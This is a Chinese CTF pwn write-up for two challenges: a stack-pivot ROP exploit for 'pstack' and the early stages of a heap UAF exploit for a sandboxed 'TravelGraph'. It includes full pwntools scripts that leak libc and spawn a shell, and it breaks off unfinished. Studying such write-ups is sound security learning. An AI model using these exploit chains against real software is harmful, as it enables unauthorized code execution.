卷
pstack 分析 非常经典的没有回显的0x10字节溢出,栈迁移。第一件事就要先考虑怎么泄露出libc地址。我们选择将栈劫持到bss段。从汇编代码可知vuln函数栈帧开辟了0x30大小,所以把rbp劫持为某个选定的bss段+0x30,这样rbp就会跳到bss+0x30。
因为read函数是通过lea rax, [rbp - 0x30]
寻址的,所以下一次read的时候payload会被写到0x601818。我们直接在这个地址上写泄露libc地址的ropchain,然后在rbp的地址处写上0x601810的话,rbp就会被劫持到那,这样经过一次leave ret之后就会从0x601850开始执行了。在这里写上leave ret,就能将rsp劫持到0x601818开始执行ropchain。这里需要注意一点是,一定要多执行一个mov rbp,rsp恢复一下两个的位置关系,因为这会rbp是0,不恢复的话后面的read没法寻址。
泄露出来libc之后后面写system的ropchain就和前面的思路一样了。也是执行两次read两次leave ret后执行ropchain。
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 from pwn import *context(log_level="debug" , arch="amd64" ) r = process('./pwn' ) e = ELF('./pwn' ) libc = ELF('./libc.so.6' ) bss = e.bss()+0x808 leave_ret = 0x4006DB vuln = 0x4006b0 vuln_sub_30 = 0x4006B4 rdi = 0x400773 ret = 0x4006DC print (hex (bss))payload = b'a' *0x30 +p64(bss+0x30 )+p64(vuln_sub_30) payload1 = p64(rdi)+p64(e.got['puts' ])+p64(e.plt['puts' ])+p64(vuln)+p64(bss-0x8 )*3 +p64(leave_ret) r.send(payload) r.send(payload1) r.recvuntil(b"Can you grasp this little bit of overflow?\n" ) r.recvuntil(b"Can you grasp this little bit of overflow?\n" ) puts_addr = u64(r.recv(6 )[-6 :].ljust(8 , b'\x00' )) libc_base = puts_addr-libc.sym['puts' ] system = libc_base+libc.sym['system' ] binsh = libc_base+next (libc.search(b'/bin/sh' )) print (hex (libc_base))payload2 = p64(ret)+p64(rdi)+p64(binsh)+p64(system)+p64(bss-0x8 )*3 +p64(leave_ret) r.send(payload) r.send(payload2) r.interactive()
TravelGraph 分析 Dijkstra算法学习
开了沙盒
1 2 3 4 5 6 7 8 9 10 11 12 $ seccomp-tools dump ./pwn line CODE JT JF K ================================= 0000: 0x20 0x00 0x00 0x00000004 A = arch 0001: 0x15 0x00 0x06 0xc000003e if (A != ARCH_X86_64) goto 0008 0002: 0x20 0x00 0x00 0x00000000 A = sys_number 0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005 0004: 0x15 0x00 0x03 0xffffffff if (A != 0xffffffff) goto 0008 0005: 0x15 0x02 0x00 0x0000003b if (A == execve) goto 0008 0006: 0x15 0x01 0x00 0x00000142 if (A == execveat) goto 0008 0007: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0008: 0x06 0x00 0x00 0x00000000 return KILL
那就走正常的orw。因为是2.35堆题,所以经典的apple2+setcontext+orw的组合。第一次调板子,好好分析一下这题。
审计代码发现delete的时候只清空了堆内对于城市名字记录的内容,没有清空route数组中地址的储存,所以有UAF漏洞。
模板函数 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 from pwn import *context(log_level="debug" , arch="amd64" ) r = process("./pwn" ) def cmd (i ): r.sendlineafter(b". Calculate the distance." , str (i).encode()) def add (vehicle, start, destination, far, note ): cmd(1 ) r.sendlineafter( b"What kind of transportation do you want? car/train/plane?" , vehicle) r.sendlineafter(b"From where?" , start) r.sendlineafter(b"To where?" , destination) r.sendlineafter(b"How far?" , str (far).encode()) r.sendafter(b"Note:" , note) def free (start, destination ): cmd(2 ) r.sendlineafter(b"From where?" , start) r.sendlineafter(b"To where?" , destination) def show (start, destination ): cmd(3 ) r.sendlineafter(b"From where?" , start) r.sendlineafter(b"To where?" , destination) def edit (start, destination, idx, far, note ): cmd(4 ) r.sendlineafter(b"From where?" , start) r.sendlineafter(b"To where?" , destination) r.sendlineafter(b"Which one do you want to change?" , str (idx).encode()) r.sendlineafter(b"How far?" , str (far).encode()) r.sendafter(b"Note:" , note) def dj (name ): cmd(5 ) r.sendline(name)
这道题因为开了沙盒,所以程序在初始化的时候就已经申请并且释放了很多堆到tcachebin甚至fastbin中,所以布局的时候需要注意。但是这道题里申请的堆至少是0x520大小的,所以一般情况下其实也不会涉及到tcachebin。
泄露堆地址 这个show函数打印的内容是chunk+8和chunk+0x10两个地方,但是如果free之后,虽然有uaf,但是清空了堆里的城市名字之后,会识别不到相应的chunk,所以必须只能申请了释放掉再申请才能打印,这样一来,chunk+8的位置又被覆盖了。但是如果chunk进入了largebin,就会在chunk+0x10和0x18的地方留下堆地址,这里不会被覆盖。所以只要将chunk+0x10填满8字节就能把0x18处的堆地址带出来。
1 2 3 4 5 6 7 8 9 10 11 add(b'car' , b'guangzhou' , b'nanning' , 100 , b'deadbeef' ) add(b'train' , b'nanning' , b'changsha' , 100 , b'deadbeef' ) free(b'guangzhou' , b'nanning' ) add(b'train' , b'changsha' , b'nanchang' , 100 , b'deadbeef' ) add(b'car' , b'guangzhou' , b'nanning' , 100 , b'deadbeef' ) show(b'guangzhou' , b'nanning' ) r.recvuntil(b"Note:deadbeef" ) heap_addr = u64(r.recv(6 )[-6 :].ljust(8 , b'\x00' )) heapbase = heap_addr-0x1470 print ("hex(addr)" , hex (heapbase))
关于edit功能 edit这里有两个限制,一个是只能edit一次,第二是需要手动赋予edit的机会。第二个限制需要通过Dijkstra算法计算满足总路程超过2000才能有edit机会。所以我们在add的时候还要考虑路径要连得上,并且距离给大一点(不能超过1000)。
所以在刚刚泄露堆地址的时候就把这个考虑进去,修改一下脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 add(b'car' , b'guangzhou' , b'nanning' , 900 , b'deadbeef' ) add(b'train' , b'nanning' , b'changsha' , 900 , b'deadbeef' ) free(b'guangzhou' , b'nanning' ) add(b'train' , b'changsha' , b'nanchang' , 900 , b'deadbeef' ) add(b'car' , b'guangzhou' , b'nanning' , 900 , b'deadbeef' ) show(b'guangzhou' , b'nanning' ) r.recvuntil(b"Note:deadbeef" ) heap_addr = u64(r.recv(6 )[-6 :].ljust(8 , b'\x00' )) heapbase = heap_addr-0x1470 print ("hex(addr)" , hex (heapbase))dj(b"nanchang" )
泄露libc地址 泄露完堆地址之后的堆布局长这样(不考虑沙盒开的那堆tcachebin chunk)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 Allocated chunk | PREV_INUSE Addr : 0x55ab97f4a470 Size : 0x520 (with flag bits: 0x521 )Allocated chunk | PREV_INUSE Addr : 0x55ab97f4a990 Size : 0x530 (with flag bits: 0x531 )Allocated chunk | PREV_INUSE Addr : 0x55ab97f4aec0 Size : 0x530 (with flag bits: 0x531 )Top chunk | PREV_INUSE Addr : 0x55ab97f4b3f0 Size : 0x1ec10 (with flag bits: 0x1ec11 )
由于show的时候需要查城市名字,所以能想到的泄露libc的方法只有从unsortedbin chunk切割了
TO BE CONTINUED…